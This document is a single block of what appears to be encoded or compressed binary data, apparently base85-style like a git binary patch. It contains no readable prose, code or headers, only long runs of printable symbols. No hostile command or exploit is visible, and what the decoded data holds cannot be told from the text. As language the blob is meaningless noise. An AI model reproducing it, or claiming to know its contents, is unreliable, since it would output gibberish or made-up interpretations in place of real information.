zjw%E}sdIN>2G?6W@ILaXU@Le2$r1z|R6^&-(|M72-Dy4t52_xQnJ7QkOhanci`c>P z5;H@&EBIiEMS^r|ALKFeMkuN7uEGv>jnjCKM;U8ew4vqK4YnL6+rvBZra>ar6?Q`%3 z9VShqYM8tCNONFlb#GfH6iw6$1X>e}HsAuL$Yde3QBI~(KoFH`<&&>3)5i1H?*oSp zI1;7kI)+k8mtrFUd%YzGYaUHZ=pJ6@DP-Mzk+FWb8M>jM|8IGT!+_JA&2}T1novt! zvcph25*x+JN>Bj4UIOLo1AzL3ZnL$Oz|8+FKDF4!XK_5xiH{&qHJ-NiH;W7=XX zXK-7I!Cgx1VuC(Z4uioBCqA>4Iyi#I-QqxP3Ygt3c6EzGd60}|@(x=o2IPhTi}2X< z$W4YV70$3>zeQVoHAF7XWLK)Sz1pPn3d~XN;N@%KF36$WY$uL#vjb0ejYFz#S)2+k zGM2bVs$Dj6)=dgFj3qAe_6YtkL0hzSk@~it!_!>aE#G1uO&n-MC+0bszyLGaqH6{e zhqBl@0RFZVh6YxA=u=sAO)NSOsKY^PA$|nyD#Bx}^K!|hEwL&$4`|B^V9bI~;Mtd8 z^+1F?$h)+n59&1`6r?Uo1C*Rd0CL>73@s>ww4fZuvLU7<@I88XL0Q5V6rS==$i{*K zd~e{)c7p@862Fyj!w5D@9G;;DD|$8OX?X7gD(U1F<8w2fj`+$3w5BAObBbLCKtL;J z&WGOs^uc3a6LT)&Xgy45MH)KaH6rmryB0_5k`ZY2x)glQEPH?pQ^UvGncF!7sBnNK z*^-IX$l>wwr#)DpL7i1M%4c)@)eRZ)VdL0Waz)J0M}h3*gGNE$u`g+v9>w|I2apS@ z?5cbE(%AGtSUjc6?U^t~b{}8M+{dLY>SU_;-{koKc|MTt(4F!_P)H7!>_N$^<0aEB zNc&)I4@zXQXQ2mCkE0#vZRqY&8i^6?deVidH@k3$u*4-78scA-$sEWMm+At`kk zB|d{1E>+*A363k{g`h^I_SE#{&G-ax^P)jPDo`snIu18JL@7m?6_ETe`AH0>dhxwO|!P?vOZq3GCG zY1e^~K?{(fq$`WZ(4+@1lzQN73-cOL*I-)rs-v|Bt;&38FE4gargawRhOEVf1u0dY zK~cn36^C|%oo`*>I>Gc#V!+-EJ%q_9JQKMz{O5HIJ1QA~qY~wAW5jNh`mL~cBrC}>7d>+5kxvh@h%6(E$TG5s zEL)SXh3p(@2|%JVFAoBgs>uUd2UGbX6Vs8hS2&h>_UZ?m!ge?3|wL#~|LHp?TVbD;c z>wj9~ZnMU~ZT0(ULrYeRT=SxNp8@H<10=<%Ki~=EtiatBzL9rFgeJOY*-957l)0IB zYR#lX)$=<%(C<2o4o`BrveD7u$+dKNW~6s`E=91g!!w5*OsS)&9K52E+BLlPP+d{O zVWBCVIG(qY>NaR<7HZ4j=fMr#-yWWEa8r^x81Z%?n?=8a;9)f!8t4W5YDJgk!q#`d0j@7klVSSl)}@|(8lDJp*>D-_%m z{2pvrRa|;7M8AA?P^@gR?XZeB?{G*Nl}1)4Fa#fFC345c-VG$ry07 z5jRCKjo8OnhcO9p+{d9OUChEaqFLC)_VfCdDXde+Zg*ND9f{H6Y(s1Hm_K;mf>dAl|U>6Hfu`? z3_ZUL*l|E{6$qOqoKj5JE&$J)W(`&P4Sx0=6i|)nNPA4!bEN zv4?mrdbI#}y_+*E?6F|i*ydMKahrIlGeRPO1*?geMjLvs!>){lemyw<5(#K8@(%p* z609<%h|=d7sbHZFc$rDU-A`xB6yfD|Un%TGh3#jwVY z^|0;38ttzxnoJgFxca;XDm_y}ybBA8zp8oi>o3xjco77>oo>V{bDzTC!rUqqeJjkC zY`7l-L6LN;RaII;FH6UqBIDA1&SJE>VBJkv^1xfx-Jr(8UnJq%EMSb+;wC<{(KyC} zzl_V{#chMteyZRADdl+u<*l30mNGYpC*~t9WbuP0m{@Ob17HL{rc5`W!{!}Ihj!^o zC{@SRF>(y~@cz^yo51JvxHMr0yYrCF3q*mM>_?pmgbqj8K3 zi?g%l&)?O#Cl0R$5Sms6+sGIWiF%QX zj@W5U8({uDl%p2cDh9yCx`&wBuMA)%O4;xu0DGEMrgr>E?Vc`@p-2+sgrw2ZG zJNViBjafp z0o?+Q*xiF`Pjj`1e^(*pqQ}3@WlAEIm45d2NgBvdpTJE+RsZtsbDpJw5NZxq6%~o2 z)#LY`aLQq)?L+sQYrnd;&1u`~-oMUKRD{VAro%%(kWL>FuN{c*ZqC#6JD)5$X;}jk zj*?-hd>+RhAJeETSw-rD3a7GU6%NhFK~rcK#gCeahSlO(^gLoa>wdo>_ud0eb@Ot0 zbrBAJi+S>7O1{DN2>@~*+w>Q@5&~0{)y0qDiieaIDP1k2Dt$%q)VG2(vemoI=gu(n^)rsJ~~-x z90SSYoOu;!oNLoKYiIrvz`$;BjG+OTySLcDEyvS|9i?@YGB36;jK0->TtIaR_xF31aaUR-kua6 zE33jF#_ragrNYYyUU?&(0@g^UdEymF#BtI_DXFv+!mz5m4m7E0Eh#N&&7(_OMmMLl zgj+_JHXV@8tSGD)wqGCOV?#||Lrr=eEzn8yG#wDL)SvLGE^4{x`h#Msr^SIfzG-oI zkan$}5j=ah=nS6qCQ`muJIjNG`QkbCF%yESmh9^%+#y-ZThcu@G*jWeAQ=9NAq)CA z1Rs2bMo(sc($%+b;Saubuv}S5i;3ygN1Q;z!0K*A_dvxkSA+0B09BqohP>yoZz#b_ z$~c8|u<_bSQcp<4zr-Ymkqtj(!oL?}s~(lQ3rLarX5eAuRW~KbG>?Js;!DXWUADbO%Gwo{zY2Ko}T8fEtNT z1DC~Z%k`bOqP;m8;M260+tNU~aDOzN>bOLIE!Y5GhEvp~xOPcbxqsGHa6rC(w(vw) zjlo@Yn9V}R)P_uX!EE)6l+t0Ft*x`t^1eA6i))Lcd9>O?TcjW#7)y(#Ii;Yj(3_2A z*5-BEdVpg?N`^BFJvr}VTdku$|6cHEAf%8G0&h^XmU5p>%nF_b8An@^1m9nxts}*& zmN`pl+^>W!aruME{l_~}W|zvb)tl0v4y<0;Z&*^)y$GjMI6WS=lv?|e%YTnGM$8Nr z$%qQ;5wv&#mWFI3_|>{u!w2Lb8{i%aS9p|yucYout>T?Z175E3*(gkk zf)fA~Og@{P1keeWQ}t#C;BV-DT!M4Aum4nqUo~v;xMPk?AhzKh!faj`_BdyRpW%h7 zg^HolhmqllKtE5iMQr;k*^Ej~HdwUm%~SOWL<`<`s<3ors}am*7dwV!8Gfihtfq6Y zKmC5lIEW}J`vRv`S)4|>(<kOLV@i zhLF;W5yb`nXy$7ME<99CKL|IU2Za#$yM;V_HWQ!mlEtfJ&mbA2ZIHT?sjW!z;naB& z?+6`WPoVbE2z=ULgQ(&n33+*I!F$j>Te1_qbfn~$!ts|Sa5rdjaDQ%>ePeStZh&Kj3G@#G4Y_3qN?NA!3 zslpo-1Jk{|jWEX&EbJI)s1Emkgjd??x@$NHv2~;4QhJaks0(D9Mmxw%Rs)LZNRdCIcbAGUavD)Xpxej6TwLQeog|rYXD>_fGA}d zXtUtN45F9m$MU?Vs%j=4+34H?;cRV6M@n9)o=(Hle|+q*{tw;9)IlJAQ|_yzazUQ( z+6h&axBA%Ux8NRUKE_{J+5;b^$3WQ`p`)9oY)J-NSvww%HdZ57TRaysm5#_Ym2#!8 zh4pYC9l8G31-WopmMZSRRh$dv1TKlvIUHy5@+p&}XR625b$0bE82b`7{u0^ull2aNBigSavwAngr5e!0y$7(@@ z+K(Ygovm$vF4_*$fl%9)Q84OX1~H$ASWhAb4PL$oktHPiU&zUE{sKa8xU~NSwFGY| zwa!g89Bj}*R0q2V1*&Nje~*>v{|nCgN6g4!&iXK{eG;5?G~R&;aMs)7oHfB3GDdJ! za9iT1aL8yoJc6UzB0hHV=8=pP9^JBukrE44-)5_@5Myy3VxsF`7-FLGsr+v(3S?J+ zwYS<_6guOJLTqsY^fS^#7I`lLdLgUAJAodF{)CtscRBg7>V2mix3Y-ochab7^YXD9 z1FyqY7U#a+PO$jQ%4#-a1lUvbWmF6vYlLUQa%^DJY_~VFVJ5scrnjV)LG^I98Lnz* zh3F&)GMVaOS|FPE0^!mpB~tj}(SdYIeFEE+k;})XUk~-1_;>7Xaitvdinq(LIti;! z4qs6cB2NxSTP8Hiu{*^na%`b!W zQfJMMho$lCF_;ZSEQqvl7hq5{(Fx-Yk2s30<4KnwN&gJm0Vo5*akoElZ$9=MF*A@f*V-s9w!!bwWo$gC0#eRDjzarKe{s((A%sCJ=wWmZvce-JcGMAQ zV70jJHN|w(V~eyb%S}4bd0yE$6V*3wyA03Z`6N<$S*3iif&L?;r@EB=7BvE*eD)vT zYU*OMsb~q>fdh{maSXZJqUqpZKfZ~xGkU!rIO9^xHpnV!O5dVXdr)ZFiU2FYY*0P- z6&xrk&(uPb00AT%pPFLKNmaBQ1dS}qLLyh8X%+G#ACDCsO(%pVA7YHG0g$h{jbn>f zfJ>U8c_;~?PI%-77||-BMF_TpsDDkkWO@&%rX@q=y)I}Ao=pdLQ$p03nqrH{8w)LB zR*P>=^U~htif>3E9!MgKUHxWZPuR!im}DqkuWHmLKD$@}9h1ksUwGtsRE)eK58|OC z-32NI)nOSBntpG`wIqWBqECcE)y(8$PmIW;ArGyqfn<0-g`;>)qlzkh#!kXZytL`r z*VLOVM*&zT^4|KeOYilmAsR~60`!^IiG;Yzkxk`Is~QoKEnKvd5Tt~NxP(WukS_10 z{#%5mw=h$O>I4iUD(&$0j=G@YP6#gYZmP;EJo+{QMu_S+c)d{>HO;d^MVcf{6J9AO zI8Y}K0@dM?5}5;&r0k^rnZq2A_0&x=<^LC zR&y5efdIvY4x&$S>Z$;B<)8@8L^vg>8X-b{o@mXI$7w?gl_LO$#_NjICn?q7L)CK8 z!r-}dtUerD9hOlZlQ7^3!hC7mO_dm9aTk8Cdfcof5AGSX&@9CJKs;2hIZK9z`34Rz z<*;&Gx!Z+Dujg^pbRO>syif}dFGk(b9Hf{N15;iI9YM#6s7n=yAMO&tAwN&$|EWu* z>XSUx982Mqixw`dlhLhlGVfMWVALITO18%%^FAlVf9e#M$J5AZW{~=~^MBsI?_hSR z90SAsyPd}o93%R-fcgjF((KSC%A);KM`)gwV|iae!!yt93p!!lNjYtYc~@}tg!*9X zu=4q0KG6ePhuMQ2V0&xdDCqP1>z9s#WtG+gM?#gFM)l@}pU&HRB<54YK7T#AFo;jw zBoab(KR(=S)}{q-8_#tJCMAhh|f?d zlZ6f?1OcYuRms;E#Aol15UkO!j?W9u?>+F8#3?XXcriEN%Vl0(eiBf@D)1`j@Pi+x z$^psaM6~h_2)qSvtzbXgPC_62bTK-UUHl1n9Qk$|gdjV{EX(@dOn^fxA6d|m=iE&W zH$VGaJB=}9fF|njP(H3EV19(LT*BQG`IXZq@gq}g@%VA2nj!32e6?Nv)GEH=VpT?a?wsLWs2URa(l3 z(Whv(O(-ypZmbicP2P9SjhaY1z^Jouu|OrZV3FZz%s zj!SU={6!y(J4S(ody9)*ff;Bz4qJ*Ln@w>(GsVYKaGOkYtDfA%_h#ZmGt#z(o7TX2 zAvq?t798cCrg+y!oH)ZY zY$o!y*EjqEPWz6vVNSR1!}-?`skZJ%sPzy%I_dEa9&x=eI;W1J;~amH&yJ~o`rbZh zP#kib)7`Q56b@Hx6^<3|@VaD5hRU}V$G}tv`+}Nj59HL>6RdYZBNzAndz?;u&u45| z48GMKNUF&TilO_Kd@@B=j4Fh#~Iq+dTx{c6#XJ_E4X<(?d_+L%rTk zkGKyoADfOoVCM|S*l_cLv!~;z4_jg>6&FKx|B3|DZn_lx=-cQjc@!C-kKL!EbMTIQ z-Y!j4Z^1d$J4)Fq#KUFAEvuD^&PdtnM^O#MTxp(H;d@5vD1Ky>MdwqtgGCi58zw+4 zM@LuH%auiAU_NnDKf%;D08UDR{ba>!nQClUU1coos?jHq`CG$ra=VSIRTg&fVHyIS zb|GM6u(yvx1+84CQnngCu#<69ahM`b0uRF^(Avd=U{uXCnooWJT=I*0WT1nKPhc6u zFt3U`O(Si?fnwa}ZG)7khKZgV8@ecr%NNK`x81+xK<$U9(rg`@RfnIw3^NNKGZuh- z&;>dLlOAX5OEp&Rs6uJ^B<{CHJH)g0~nv)=6 z!^4mhhx{-VP4QZQ`(J`1PXfevDmh?cpV1Z5JGPWhZ_cJg8FRB7YShc%A6h? zefOvzz|aAfC%8a}&pf2)c`Y`0K7p#K0p&_iP#VkrYagm8yaLX@-+plc_vl1j+4Am? zSCqz68zC^MR%;Dr?YH1+qVV?SC7@4m3l zYQ@T2^BOtj1-`J?=PrK9yRX_49!%yges_{hj-I3*8Q{&74VeEyD5W3*|rZq z!lN08YuP(1XWp_6V}w0>g+0M~sAJ?Vp`cH<?CAH*P|HPky(y-lgw=5wK8*v zGs?@wEQEwmHIikG@;jn8553!?3x?jU(E_|T@;pIsk!bEvQc^S<@4<6dNVA~YGRIln zGT_G|3@)2uTXRVi^tNm8!k;+tpIP z1?|6hwHyc0pYRIlePo3cj>2dfwcIE!4W6qP7X{DVCuRrFZ4g3tA>Ql{8CykfqipW` zq;VzjNX%4ow4yKrh-1eUojvrP6P%#uf|=r-bN7lwq~d^e+8=7dvqJy&qpnpkGO7+D*S3g{GbKyG&^M4StoKL=9Sq zCYMimd9TkLWVW&xoG;YY5+cg05ie0Snt0kyqCEE8dC;k?#B3Idkf!GbuojNY@i1~k zD^NcXN^G_8IKvt$G(CtpF2|~b$N!FDH`Q%2TPV6fJj?L!C@&X6{{ck{oa;qGM2aY7 zF{$4qDNhj}PHkH+61jhBWm`91mC&0YPKh%ln z7SfF{VEseDguXtQ7Z#c>L*3NppHkvKHzDF2t84&r9g1lD>ab7at{!~sA*@W$9b##k z8sVId8qvqLlnpe;?-&#Nph&Zz2~~71X>jm8llatvV{JDKSloxjIcE2We1$hGrgH}| zlkYr7bfO1piZ~beD_*y+8tSi)Z3M<^qK6SJ$JPjspGVt5(`R_fvAcywU+3}n2#?Jn zMSASJ;sbK*`{GPFcE1pM7HNHal!6i7Jpf@5?~IQI`mQfkuN#7y4bCI84Wa2OEYW7M z9MM^)hKMxl@O=@7`3gy82r<#06M{Lz@t943XJRu?6R1CI2@k(ovtlY<&_`q9P(sa=R5qZ59>q(1QW~5mV;&j236uDs%A;yDUIJ(2bLj&g z>}NxnaK=0)J|^fSWsRn&$7HM>H?rf9nmtLMsWozV0$*aFDANue>Pwc%wHjPPaq zGUUBr%)uft2;W7{7M{Ug*%5jNRpmE_-o;OZFY2HLOVo=z7&H_RLN`;*5qn=aN6a=c z(-(%wBfL>IpxbHkJPkpn3>RNLqU~u&Qb&g~O?1DvW&9>POwh*kABW@W{tt&c7oQAU zK@lISF)0ZLb$qNX4bBndaIwrea6jim7m|h=$!M2Srg5M(_*>+3V{oQ|W62as7H7kg zEqeC!t#rzN&nM!_20X;Q6zrry5bp$i zrK*Qv0wVei?wCd8&kk$8N1uOV9pY0w9`|9XH;?nBBQbp@XIR4%*ko9G>Ww&=#`ocn z_Zu^>*^s=u4GjU~%Q1v1pR72kx#pKRXtIcD=1|SnvvE=r59H|?JCejPW=f7Ze8_82 z`Kq0_jk=zdc)5kO_s9d;1eYT|<1 zrUa}a!I~4#@i0{cCI4>X7Zw;6@1z&@!V`#op2yXwe4U4_J71Myyo*MjKqi&T!!4cB zPto6hA<3Eyap=fbevEWrTYbN?x+;HTbv5Gu6a44>*6O+z|C{jtE2Lq!wS#tBmtg~6 zZ~{6QxIvx<<7(2}1Z*pnhAww8eH5ahTI~;ip2WZKVC%rw1sBD?n*(o(MiCYT5`%5z zm(|GJG&BD3oD}S(pzI+l_4xO1Qds!MsNDQe#H5rm{ilhYCL}@&Il2A}nk@S2&E7YV zZ=`zW5PjRLKa6Dr8=V#_9EJclOUwxAYseE=1)s|u@uON_GX@7Y+dAbQqhK$tnt_h3 zjUrPQ4xr>UP2FPdFCiOa6!2p)#3cPKZJ|M}^c zUtaQ5Nk8zhSvoNHFSlLC!{^Oy*R~6`U6=k(wq0Tl8~rUHezJ22h~JIIz|fx40f^am zR4huV9ih7rK#xS;mw9-S=zA}+synIg*jD@4CsR2J#e74fe15;i^Ro~F_zc#)^ixwN zybQI?OJ-K-bo7_d`M0Fbn<0d*##><-R6Q5t1t+CDJt)u-x(ZLUybM3e&c*zBA5XZG z5;{U;)PbLX`BP>7e8>D*XZ}#jRvggc2hC6A<2`$d3G5U#MAaD~sv4UfZBaJ1P!tvY zGe}fEzeIRk#tT+-9=t+aBcCr7ns)HejiO6FzgQ9nL)1p}$B1mX#Tq<&EgX)NB?SxT zNaKtUwF{-%P7?oc7LBL=z2Mmb*yvK0YhZ{S)0YR&t`@6ED0w%H3Hs1PS>kQoFFd{$EDqONA%CG&-1dU78(4ii zEa#g3Mq9AQet>j2cF$%n3EtBH9+VD<3hw4uPy_IX^MDL+NIF2K?TkG}hEj^ixu$?WXp%ow<0jhp`{vY*T1@486Dj zfRB)70>EeKoQWo*Yf(cq!$%nOhG<4z&)XJ4e+4OD2p2|&;zo`hHEV)tHqgSW_EkbG=mdaBbp79u-2XYQh2fq}{C3X*BO1iQ z5YCR{+GGdj@?h*F46~(FjX4B0H9}J-CT)Cf3ZVhaI1@0O`6IKrCXp=%aflAP4JsDS zc+0U1q>nqYzx@I%hQ8qEioSuuxa+HiU}>SV#2p(9YX zAkz?bp5_6*(g{tQ5oivPr5>N;?_6Q7ZZOaw1_uD&?}IKiGz|fb&wCt_)AWyovhjpM z#bUhp0-hSL16+opaSC%ejs;a708XJ{C@qbSLsK$aBQ%Bhiw)`nb zT7ad&9cL(qz;y>Tk|TzCKws%l`MP5+I?)WynJ*llvfzRhFmFwVZEFW-FZk+)<~3U2{|)kMDl8bi%Cd z)6_p&k$ChoGZ_~bYo%vM2$}+zm7TPhnhRI-*VvUL7KF>p1p#03JRsWtX#Li_EWwt= zB$_}zOaf>=2%(L{Tt+h4$wRs3Z4{TyTPEIS63xa4UmA#};oCb-rRnholLp%(e385# z$|@%K)hN8pX!5t4{1xrT%o((Qxt)FXcOcXpAeGND zbCs0aI-j=nj6IhaK~wPL5WtT*=U?L73rOrWRAkn}FRP9ul{lOJEj0yY86no9?ly;T zkop&*4yYRS54xlymi`Z5b%}t&qoN;D9-g1@86LvZM$w(X=QTrpe(It)K7&K~?w3Z# z@!9bG@E10H*1bl$e%VloFU=AnY~Bdz;VPE-@yIJgWhm?14vL&VvF8?E1$ z3e{LkDw%$!ffn>D;^;9~@yAhFO^u%AuhP%pn=wHI@tNoc@q=YU-c6FL6*pZ*#fh!+e*0dDW!XAK~|9RY&KW+gmBaD6d z$o#uN6kDRryoghL%fE-h?!)UZW_!L>xYR7HFTll{qGk9PGMV|4vIE9Gk7KR_EBdv# zW=3)Nchp;<(uLnRy8Ovz@eDZ_JN}`e;g1F3qf2drCP3!5hlV~yN!G#%L;Qab!ps|r zWPlE5#-y<*rq4jqZShoS817al(=}?cj0zY&zaQTK!2RhC@wR}~$L{zOjU`>7?hs3m zhAY$o!?=!efq<^nyaO2FHCKV2Ku`^1ilhON->V)Bq8wU)PMR8#w#P5sVL0_Zx_JE& zWzc&P21)$tyZcQjZyTKM^BX3z2cM7Mi!qI=k`TlI;4Vl$99+52;L6kl{X_K#cSlfq zeYQllIYss zZTQ0DqTEcVudZ`1*KmMlGwc7OIW9ohODT{I)tCblTbMoqw4+|&co>eeGUE{>3 zp>TwBTkahB+#v3b|9$kGC>dH~DpS|@UeVed8n>-7yaT#ke*?f>5 zb_BIN54xcw?ZOgDj(FgTSiRhMV3P4bw(-DBmKDzk|JY0Y)m7@3V3J6TPqDQHM5ss9g_BpW`6cE?L$)_@hRcoNp6V>YJqRFRV zI3g8RRnbj=`feQD*OR6YUShMkX`JX#iYbepHNvMrB$=Wh2Vf>=ZoY)8>0CD!W{VCF zW_+J~z`z}syl^>Pqp^AvZ{~K&j|=}o(+j8^CcaJ2;g?+gh7RFHsf`uY=D=Tc3O?PX zcyrXbnP?o8RGUj41v2qjQ&N!G|BSpA+*Qai9Tx~qk0WApNuaCX=(7HP)W7yRZP5Zp zu?0Gb4P#k523_5UE1r`gmP3a?0Aqa2(g1`YDlK9m9Kp9CuH})@UvCkdfHuuXg}4~p zYu@6a+dgQE_L85WWpys$q^ioyz^#GaQ}^RepZiVoOI-b4Cp9fzUQ|0tXnGMv+!d3A z$A5tr^Qz6rl2IJ^Sln-J_L|_ICh+0?EiDfIIA$mCd*Lx65J@5MVg03F>|^u6Trcba zd~iT{gp3QhHv|s8X{!_;!%M2F0Fh*`s?t*ucYb1iU^d4z?*%XNn_sj-S@t_p^5b@X zw1y82ytVca!{(!tiBCpcFjT}}ZwLDX`#Ob<822SX*Q4Fu9HHs|Veef4qPniV@iPx# zi`~p9Z4hvdHn5=f@6`ygU(TWA^R zs$GC)k{fk`bPaS+9E8D(zaIBtSUJwH6862DurdIwI1um^UK$B=5934U!UL8Ux zE6uROT2dGaVL1jnf$R*UJUuy2L#|voG|->#!O)XO`*lokF?1Y1sxKv*jdfVk(4)X0 z8yf3;3TU6_G0e$y2y^seiLmi|hB__A?{PfY_?7U&#%~aMhz}dTK||wLPvcj|#;^a- z_ziN6-Zly?_8v&O8=`A$S>fgJt63>|QuxH$Ip;#Q=P92rP{%As)AxuDY9l zea$VJ|3NsS;aT&eCk}7>32X|0{m7f!o-_){I!OZtA(_>`v>EAa(nuZb=`WpNPo31l zo`KS9>=`8efu8qCzhR$x>6h#oD*co_!=xXuXN0tiJtL(Z>^V<*ggt{LGkY$O%Gfhb z+JL9!SiECXyp+S7lBE^wnJO)2&t=jg_Dq-VXU|OOUiQqDX0qoRX)1fJmnO1jk)&nM z63K@>%OyuG)vQ|TXHQ=Gj6F9?pRngv>3uw@2(Q+omq{Ju`sz-4ZDX&*RZ4HLSJF|H z4zO1u%Fz4hQW^>QGpbhtl>52i&nc zyUUw-wJEeOs6%V6L9%pA?>fi`jZ$cRzMBI!h80jp7u%0@W=Z4KRkIaTBsxJZbIP4R zan4EjD;F|$umb|$t^T5eRU9Ub<%)j}djfLJvDMyA zTkVJUlYj?m)R-mTr<>!C;{Zo7vXj?i@;Q@h&#;=(k|M)p=W;=rT58167CKatA^ncM z8M{6~@1q3JzqTx#2iqgC@1|{h0tuEpyOmA_$759`UpjRU2%huOson6x zrBlSW1;RC5dTTdor4Fqp_ZKJ`$HjE%pzK)A92Ynpei(wWJo{stSh0A){C?wsE)yGG`giRQmmhP|_2UeEB zaL`p8n@o4Sjl{kCaR0n8s==t^I6Y^NexAyObR*Lx3nhUd)9K!>LA(S%PvwIr%>5TT zJz)}Nkoi02Q#GaKPIt_QG$qm$NCChZ(K!((yMVPCo!>dVb&BP>avKg8!)nCyC0M=M z!`QCG zLLr@4-wr?Iu05zuwREX(HJw=&_WTB|PWSraY)0<0xbXF$Ist*{N>sF$Ji%aL|98*0;iVTqj-^1^s+*?TRi?c z`C7WwW}JyvsoJ61z2IHkdlqV&NB(#o!sqT({NVx5076KR;Dft|n-(i}r6`eZ(_*Ei zO=UUGQh&>xI_S1LEDNQuv?(pel~jgbxkK%i!+^d~36Cqtx5@2`G$x@S8UP0vK>j@d z3D5=T1c=E`T(KrUc?C}iPYKVfcwWV`2hScnd-3eWa{$i)JO}X{w5e^VI;ZMU4LH#u zI;hfdfKPP$G%Z$Ht}*O=#<2HC zkEE$=&M-r5bxmpcjI~0ON66hC;ZOtA(Aj3!RF==EWwkr9F*-bAAZ;FH*b3MQcpUH) z;90;Pz(D|T9SmFt;~9i!5T1c}2I8s1ll=Yh^v6?!rv^_op0G3P*)}qc&LX`|fCLz% zv|VkJq5=jy+Jb$fwjS+(x*?40HmvP%bBsijXf5PmpkSCn&up4q)|DG|uK#mLye2ir z3sa>#en69{KRSy%nLbZb*)iAy>;4Pew7%syGOsE!jg=sy;*K_)t0&@+NG8@ zj7zLO$s}^DR|JM@?fsY}HQ+{Q@+Cqt`j_-RbXn{=q%7uNiG80|J(`>hsiJ~1^^bjD zD99duy##IxdS6%;z3{;AF=It#OK<)VNnz4#G^4%98VoG>rsGwvLbn00n5nU_QcL^6 z7UZ=edH@T@d&^i_#hP=k@1I3chKp) z?t^f0R$ANmLwvB~bHIi6v0eB=hU3AP$o$3w?2Y&h?arU0va$0SUed_EtN!P#u9zIX z=oX#%+0tjkPXImOPG*WpgQ+;krxe?0F?dC?Y=8h-A`S;ML=^*e;h zaDufK`#OqiL0n0c1MwwtTiG9GCCR?205F-99qq+B#k_3kMf6!>JEo#FHvKtU`U!nY zi;$L_3=Y#BLKke6BH+{w8H)q)CrDH9HB^|>Py)4jW7%uR{cGS~VZsE9huBk_!koe{ zoc^u}mbwv)G1zj_(!=;>ow_;X02ct7g*_hFM3ceF!Vu90jcv0_%Z`M}us zYINaW;;t{%`x(;1kfWpTGlQURDJWP3CSVyTr2QDOJ=nV|D{yC~VzMyBLUx~Edma`U zi8mo$BgBA1R?KRr3d)hUnx1hBAh8uVgots8{BV{~KFKTpMSaPb3C>lXaD4GQtVsGV zSw2(jGWdUkuj7gZK6F4BC$x?aV#Z+TfvFs_paecjl2)OV=nZeuoQ=9=ibl!un#@xL z+6+=UnK>Q})jDzqQxzaKI18R@=~AHGv|__sRFhZLLCn5YJuVc&x(1vX?dG(0(|T4k zNG?8Y4lZ42sncjEX%HP|_yu=BLbrz!+!=s&;? zMN|G@o8cQS0VzWKQmwXS4V0-?!N%X<%4|n9E3g#!H$qYpddoFLI}Tj~+Z^*d_EK(E)u0<~fsc<_N?LlQ8y$b&o&+z>E& zS>iB6q0f*W^)B@_n7`>vXS+a}Fi5ftSMiSRmYT`LB8K%DuBwD^6j2znAYUT9T_L=c zsdDZ2LLMdr4|7%9B}7mNpW?4lIPK|2XPcdt1RpN&5ck}soVf^ht8x@KJFuK%)f zo>=cLCnWr?rLwriA3H-+q=nE^^;i+N?V?7-TEDvy9RbVeO@Czz;-)Fv)Z$SZK=IfY zsvRwPQ9S3y(XrU`FqQ^um)q{#rNuJYTl?mT#dcL$WFFSdOJdJ&??%S4=bM7Ij;&ub ze`|nUMON_Y7ew>@H@Nx-<_KPn1hsvl?m&Jf$Pb6}EhI#N?t!5M1jMm8U%~uFo|kl-5y7P z>|sY7+wlk`y9B~mEc8dC8y1sQ-dwdc$iA$hMS);YR@WZ9E}m@Z9^caC=hyCs`^F5K zmJhK#rMBuCPYY9V{5@SQUQ(TFu}}3ouR75HwP?gkS6elW7x@p6px>EwYm0Hkk!y7} z!cbZu4y)?2t%kGAZWHUcK^R4Oc`&;MDQMXk*od|XJ>uZry~TT_hzOc%&svjUlh$z2 zs?r|8Vdx~>4%wLw$z`_m!AH)qICSUXg~#NUM0d5;_^%aP>1y0Rt);#o)3coHtSCp+ z-)JAtueomgVgv2!^>_BaW9j6uc^7DvH~E6$8MqjJK|_AQ@C)+80SDRuqy&gvg2}#Q zB=9-p0j>Q-aBmme=&9E_Hm`(dqZD&`aSFDj1=Yk;TWV4)f?( zgsatgZvyu@B3nJ@P66Z(pU3{cv^iV-zFL|>u3`=8zwz|=tT7Kb@s^+L!m*y6Y-;@ zlL(KA+e>O;5r+2F+c9b3CBOr63UFYM%IGIVn>@W((77-`Ueumw4Agb9t2eK6r8?1%Y>%W1J92U#T z(qdU)Nf>c;7EE)vHpnVK*xiNxO%_dprA1U7Jtu_@m7z_%*nJj*3f!@$Nt5vif%<>_ zsH?CtcWl8oNQk}t_9jhW+3NyAB7xUOB#Jr1@)(Cj`+cGW!^OsBH;>@PZTVq2f9=OM#lRDxB2HiBYZePNNG! zbclnQSaF*~36>7Smvtq%!KGw;1ASm6?sOdh7v-BYU>Q#PX0k$U>5BJ|(+o|JNI80b zJqdYNSQhU5rBZhTmhm&@<0J-sSZG)85K$?6H4OIlkcltcM2!x$038ZyBpWRYDY8;{ zXK3%}46NA04cZP~bjXP;a%s}B+cXbR5R-Hv!~m8$EZO}s+m_X{3X^beI&R>IWU2DD zV&H*okFAv!JxJ8&xECb}HVAh5oNN*{w!kcdCV$C~C)38d1yh)$2tqM0Snjfd=_3At z4TB!Z2g!i(iOvlK9mawRlIvpatD_OjQ|AOTmHi~qRc5yP7_wuWPaR^4O~iOvt}C`p zht;XA`lxeYN3~BMT?OuMWp>#pGGjcRwytrzwxI_M2W(QZC}#bFwF-WcSWoehnRcfM zG@FdYg2U;~!@Kl1i;Ii$EDYqX-7)Z{y>R5z3?c!0d_84~;kjuWDUkhjh8AK*!Q+y! zPr4v?a!=luN#_Q08ShIM@eFagY+Ae}gUh65uOSQKuvXgWXc8_m?>`&TE*_iC_28gQ zyV+N4$$JXdqo_k$XHidY?eK>!xije5g+F@ zD{Zi0rr_t(-CmKdJ7_0|pW=0Cye3T;mr>Sh*JPCahh3FX*5?=>2TbEEtG_qU13vVn z9j@Uby^L2YT_-Zc12{)jko05t5uMuV4vuiH;dPg6cd6zULrB#^g%d)hY)U**io?Tm z{2gmx;}3~}m*+6hAR*YYkvK#Q1S_m<1ouQzBIsWI$*Qow=Ax62Xd9E^Ll<9cr03V#N7vy=)jGJE zRjYdizTKnRWA>smDL@&mG_%0~ffHj)6$E3U{%)p9<7TRKPNqu7n5uSh4fL=wLm@s3 z)pT@syvvxX6JV;oWK0z-h`>kZW~%(1OqE7vsu(N9m?{mJD*u}}sLE`FmPTzy<>=?s`1}4gRtdjWdm`+fSor(1C10Q_8#ehrnoCF9|K(-UiTA}jW@_lZ zF?080#FSu&b9~dKZ$LS5sYI}Kn?JkUla09&8gpGFX@mJPEW5D5humHJTaO}3&;6~@ zauI0M`jhPy-k%bq^PfneHCwv7h_a{~%w|TgJOypwyEyw_kUWfSQy`fOAoh%IgYCy& z+MP(-v%0^8?h)FoyB{&JiM!9D-FX$S`{K2YSLmt4%}~tDD-#c5$id>PY+-g(w)9Lt 